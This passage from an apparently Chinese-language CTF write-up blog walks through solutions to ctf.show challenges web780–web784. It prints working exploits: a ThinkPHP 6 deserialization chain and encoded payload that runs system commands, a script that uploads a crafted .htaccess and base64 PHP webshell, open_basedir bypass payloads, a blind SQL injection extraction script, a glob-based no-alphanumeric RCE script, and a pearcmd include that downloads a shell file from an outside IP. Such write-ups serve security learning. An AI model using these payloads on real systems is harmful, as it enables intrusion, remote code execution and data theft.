data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-77-1024x277.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-885\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">web780<\/h2>\n\n\n\n<p>\u4e3b\u9875\u6ca1\u5565\u4e1c\u897f\uff0c\u8bbf\u95eewww.zip\u6709\u6e90\u7801\uff0c\u770b\u4e86\u770b\uff0c\u662fTP\uff0c\u505aTP\u7b2c\u4e00\u6b65\u5c31\u662f\u5f97\u627e\u7248\u672c\uff0c\u56e0\u4e3aTP\u57fa\u672c\u4e0a\u6bcf\u4e2a\u7248\u672c\u90fd\u6709\u53cd\u5e8f\u5217\u5316\uff0c\u6284payload\u5c31\u884c\u4e86(*^_^*)<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-79.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"779\" height=\"516\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-79.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-889\"  sizes=\"auto, (max-width: 779px) 100vw, 779px\" \/><\/div><figcaption class=\"wp-element-caption\">\u7ecf\u5178\u7684TP6\u53cd\u5e8f\u5217\u5316<\/figcaption><\/figure>\n\n\n\n<p>\u7136\u540e\u627e\u627e\u89e6\u53d1\u70b9\uff0c\u53d1\u73b0\u6709\u4e2a\u8fc7\u6ee4<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-80.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"947\" height=\"735\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-80.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-890\"  sizes=\"auto, (max-width: 947px) 100vw, 947px\" \/><\/div><\/figure>\n\n\n\n<p>\u4f46\u4e8b\u5b9e\u4e0aparse_str\u8fd9\u4e2a\u51fd\u6570\u662f\u6709\u6d1e\u7684\uff0c\u7528\/\/\/\u8fd9\u79cd\u5f62\u5f0f\u8ba9\u5b83\u76f4\u63a5\u89e3\u6790\u5931\u8d25\u5c31\u6210\u529fbypass\u4e86<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-81.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"847\" height=\"186\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-81.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-891\"  sizes=\"auto, (max-width: 847px) 100vw, 847px\" \/><\/div><\/figure>\n\n\n\n<p>TP6\u94fe\u5b50\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n\nnamespace think\\model\\concern;\n\ntrait Attribute\n{\n    private $data = &#91;\"yu22x\" =&gt; \"cat \/f*\"];\n    private $withAttr = &#91;\"yu22x\" =&gt; \"system\"];\n}\n\nnamespace think;\n\nabstract class Model\n{\n    use model\\concern\\Attribute;\n    private $lazySave;\n    protected $withEvent;\n    private $exists;\n    private $force;\n    protected $table;\n    function __construct($obj = '')\n    {\n        $this-&gt;lazySave = true;\n        $this-&gt;withEvent = false;\n        $this-&gt;exists = true;\n        $this-&gt;force = true;\n        $this-&gt;table = $obj;\n    }\n}\n\nnamespace think\\model;\n\nuse think\\Model;\n\nclass Pivot extends Model\n{\n}\n$a = new Pivot();\n$b = new Pivot($a);\n\necho urlencode(serialize($b));<\/code><\/pre>\n\n\n\n<p>payload:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>url\/\/\/index.php?payload=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22yu22x%22%3Bs%3A7%3A%22cat+%2Ff%2A%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A5%3A%22yu22x%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22yu22x%22%3Bs%3A7%3A%22cat+%2Ff%2A%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A5%3A%22yu22x%22%3Bs%3A6%3A%22system%22%3B%7D%7D<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-82-1024x300.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"300\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-82-1024x300.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-892\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">web781<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code> &lt;?php\nfunction get_the_flag(){\n    \/\/ webadmin will remove your upload file every 20 min!!!! \n    $userdir = \"upload\/tmp_\".md5($_SERVER&#91;'REMOTE_ADDR']);\n    if(!file_exists($userdir)){\n    mkdir($userdir);\n    }\n    if(!empty($_FILES&#91;\"file\"])){\n        $tmp_name = $_FILES&#91;\"file\"]&#91;\"tmp_name\"];\n        $name = $_FILES&#91;\"file\"]&#91;\"name\"];\n        $extension = substr($name, strrpos($name,\".\")+1);\n    if(preg_match(\"\/ph\/i\",$extension)) die(\"^_^\"); \n        if(mb_strpos(file_get_contents($tmp_name), '&lt;?')!==False) die(\"^_^\");\n    if(!exif_imagetype($tmp_name)) die(\"^_^\"); \n        $path= $userdir.\"\/\".$name;\n        @move_uploaded_file($tmp_name, $path);\n        print_r($path);\n    }\n}\n\n$hhh = @$_GET&#91;'_'];\n\nif (!$hhh){\n    highlight_file(__FILE__);\n}\n\nif(strlen($hhh)&gt;18){\n    die('One inch long, one inch strong!');\n}\n\nif ( preg_match('\/&#91;\\x00- 0-9A-Za-z\\'\"\\`~_&amp;.,|=&#91;\\x7F]+\/i', $hhh) )\n    die('Try something else!');\n\n$character_type = count_chars($hhh, 3);\nif(strlen($character_type)&gt;12) die(\"Almost there!\");\n\neval($hhh);\n?&gt;<\/code><\/pre>\n\n\n\n<p>\u8fc7\u6ee4\u4e86\u5f88\u591a\u4e1c\u897f\uff0c\u6bd4\u5982ph*\uff0c\u6bd4\u5982\u5b57\u6bcd\u6570\u5b57\u53d6\u53cd\u7b26\u5565\u7684\uff0c\u4f46\u6ca1\u8fc7\u6ee4\u5f02\u6216\uff0c\u6240\u4ee5\u5148\u4e0a\u4f20.htaccess\uff0c\u518d\u4e0a\u4f20\u4e2a\u5176\u4ed6\u540e\u7f00\u7684\u6587\u4ef6\u628a\u5b83\u6267\u884c\u5f62\u5f0f\u53d8\u6210php\u5373\u53ef\uff0c\u6284\u7684\u811a\u672c\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import requests\nimport base64\n\nhtaccess = b\"\"\"\n#define width 1337\n#define height 1337 \nAddType application\/x-httpd-php .cc\nphp_value auto_append_file \"php:\/\/filter\/convert.base64-decode\/resource=.\/shell.cc\" \n\"\"\"\nshell = b\"\\x00\\x00\\x8a\\x39\\x8a\\x39\"+b\"00\"+ base64.b64encode(b\"&lt;?php eval($_GET&#91;'c']);?&gt;\")\nurl = \"http:\/\/a98d884f-c253-45d9-acdb-3a58d31393e5.challenge.ctf.show\/?_=${%80%80%80%80^%DF%C7%C5%D4}{%80}();&amp;%80=get_the_flag\"\n\nfiles = {'file':('.htaccess',htaccess,'image\/jpeg')}\ndata = {\"upload\":\"Submit\"}\nresponse = requests.post(url=url, data=data, files=files)\nprint(response.text)\n\nfiles = {'file':('shell.cc',shell,'image\/jpeg')}\nresponse = requests.post(url=url, data=data, files=files)\nprint(response.text)<\/code><\/pre>\n\n\n\n<p>\u8def\u5f84\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-83.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"570\" height=\"89\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-83.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-897\"  sizes=\"auto, (max-width: 570px) 100vw, 570px\" \/><\/div><\/figure>\n\n\n\n<p>\u770b\u770bphpinfo():<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-84-1024x377.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"377\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-84-1024x377.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-898\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/2-8-1024x356.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"356\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/2-8-1024x356.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-899\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u7ed5\u7ed5<a href=\"https:\/\/xz.aliyun.com\/t\/4720\">open_basedir<\/a>\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/?c=chdir('\/tmp');mkdir('shell');chdir('shell');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','\/');var_dump(ini_get('open_basedir'));var_dump(glob('*'));<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>\/?c=chdir('\/tmp');mkdir('shell');chdir('shell');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','\/');var_dump(ini_get('open_basedir'));var_dump(file_get_contents(THis_Is_tHe_F14g));<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web782<\/h2>\n\n\n\n<p>\u5f00\u5c40\u4e00\u4e2a\u767b\u5f55\u6846\uff0c\u5e94\u8be5\u662fsql\uff0c\u7528\u4e4b\u524d\u5b58\u7684sqlfuzz\u5b57\u5178fuzz\u4e00\u4e0b\u53d1\u73b0\u5f88\u591a\u8fc7\u6ee4<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-85.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"998\" height=\"606\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-85.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-901\"  sizes=\"auto, (max-width: 998px) 100vw, 998px\" \/><\/div><\/figure>\n\n\n\n<p>\u8bed\u53e5\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>select answer from questions where answer = ''<\/code><\/pre>\n\n\n\n<p>\u76f4\u63a5\u55ef\u6ce8\u5728from\u88ab\u8fc7\u6ee4\u7684\u60c5\u51b5\u4e0b\u5176\u5b9e\u662f\u5f88\u96be\u6253\u7684\uff0c\u4f46\u6211\u4eec\u53ef\u4ee5\u5916\u5e26answer\uff0c\u627e\u5230\u771f\u6b63\u7684answer\uff0c\u5077\u7684\u811a\u672c\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import requests\nimport base64\nimport string \nurl=\"http:\/\/2709cb1d-3807-4cdc-8de4-9c45ce862e62.challenge.ctf.show\/\"\ns=string.ascii_letters+string.digits\nanswer=''\nfor i in range(1,10):\n\tprint(i)\n\tfor j in s:\n\t\t#payload=\"?answer=1'||if(substr(database(),{0},1)='{1}',1,0)%23\".format(i,j)\n\t\tpayload=\"?answer=1'||if(substr(answer,{0},1)='{1}',1,0)%23\".format(i,j)\n\t\tu=url+payload\n\t\tr=requests.get(u)\n\t\tif(\"Wrong\" in r.text):\n\t\t\tanswer+=j\n\t\t\tprint(answer)\n\t\t\tbreak<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-86.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"436\" height=\"182\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-86.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-902\"  sizes=\"auto, (max-width: 436px) 100vw, 436px\" \/><\/div><\/figure>\n\n\n\n<p>\u8f93\u51657ujm6yhn\u8fdb\u5165\u4e00\u4e2a\u547d\u4ee4\u6267\u884c\u53e3<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/2-9-1024x529.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"529\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/2-9-1024x529.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-903\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;!-- CTFSHOW hint: \n            $_SESSION&#91;'cmd'] = $cmd;\n            if(!preg_match(\"\/&#91;0-9]|&#91;a-z]\/i\",$_SESSION&#91;'cmd'])){\n                system($cmd);\n            }\n        --&gt;<\/code><\/pre>\n\n\n\n<p>\u65e0\u5b57\u6bcd\u6570\u5b57rce\uff0c\u8fd9\u90fd\u6253\u70c2\u4e86\uff0c\u800c\u4e14\u8fd9\u8fd8\u662f\u9752\u6625\u7248\uff0c\u9664\u4e86\u5b57\u6bcd\u6570\u5b57\u5565\u8fc7\u6ee4\u90fd\u6ca1\u6709\u7684\u90a3\u79cd\uff0c\u4e0d\u8fc7\u8fd9\u91cc\u662fsystem\u4e0d\u662feval\uff0c\u5bfc\u81f4\u6709\u4e9b\u65b9\u6cd5\u4e0d\u884c\u4e86\uff0c\u90a3\u5c31\u7528p\u725b\u90a3\u4e2a\u5229\u7528glob\u901a\u914d\u7b26\u6267\u884c\u547d\u4ee4\u5373\u53ef\uff0c\u5077\u7684\u811a\u672c\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import requests\nurl=\"http:\/\/2b374eac-d8ff-4d0d-856b-eb66399d52e4.challenge.ctf.show\/flag.php\"\ndata={'cmd':'. \/???\/????????&#91;?-&#91;]'}\nheaders={'Cookie':'PHPSESSID=53964734d4bc928487088a2fbdf83b13'}#\u586b\u81ea\u5df1\u7684\nfiles={'file':'cat \/f*'}\nwhile True:\n\tresponse=requests.post(url,files=files,data=data,headers=headers)\n\thtml = response.text\n\tif \"ctfshow{\" in html:\n\t\tprint(html)\n\t\tbreak<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-87-1024x358.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"358\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-87-1024x358.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-904\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">web783<\/h2>\n\n\n\n<p>\u770b\u4e86\u4e0b\u5c31\u4e00\u89e3\uff0c\u7814\u7a76\u4e86\u534a\u5929\u6ca1\u7814\u7a76\u51fa\u6765\uff0c\u679c\u65ad\u653e\u5f03\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web784<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code> &lt;?php\n\nhighlight_file(__FILE__);\nerror_reporting(0);\n\ninclude $_GET&#91;'file']; <\/code><\/pre>\n\n\n\n<p>\u53c2\u8003p\u725b\uff0c\u5305\u542b\u8fdc\u7a0b\u542b\u9a6c\u6587\u4ef6\u518dpearcmd\u5373\u53ef\uff0c\u611f\u89c9\u73b0\u5728\u505actf\u5c31\u662f\u5728\u7092p\u725b\u51b7\u996d\uff0c\u54c8\u54c8\u54c8\u3002\u8bf4\u8d77\u6765\u4e4b\u524dnewstarctf\u4e5f\u8003\u8fc7pearcmd\u7684\uff0c\u505a\u6cd5\u57fa\u672c\u4e0a\u4e00\u6a21\u4e00\u6837\uff0c\u5982\u679c\u662f\u91cd\u90ae\u7684\u540c\u5b66\u53ef\u4ee5\u53bb\u770b\u770b\u4e4b\u524d\u6211\u5199\u7684week3\u7684wp<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>?file=\/usr\/local\/lib\/php\/pearcmd.php&amp;+download+http:\/\/82.157.233.217\/shell.txt<\/code><\/pre>\n\n\n\n<p>\u6211\u90a3\u4e2aip\u4e0a\u5df2\u7ecf\u4e8b\u5148\u653e\u597dshell.txt\u4e86<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-88.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"816\" height=\"349\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-88.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-906\"  sizes=\"auto, (max-width: 816px) 100vw, 816px\" \/><\/div><\/figure>\n\n\n\n<p>\u5305\u542b\u6210\u529f\u4e4b\u540e\u518d\u5305\u542b\u4e00\u6b21shell.txt\u5373\u53ef(\u9664\u4e86txt\u5176\u5b9e\u6700\u521d\u53ef\u4ee5\u76f4\u63a5\u5305\u542bphp\uff0c\u8fd9\u6837\u5c31\u62ffshell\u4e86)<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-89-1024x625.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"625\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-89-1024x625.jpg\" 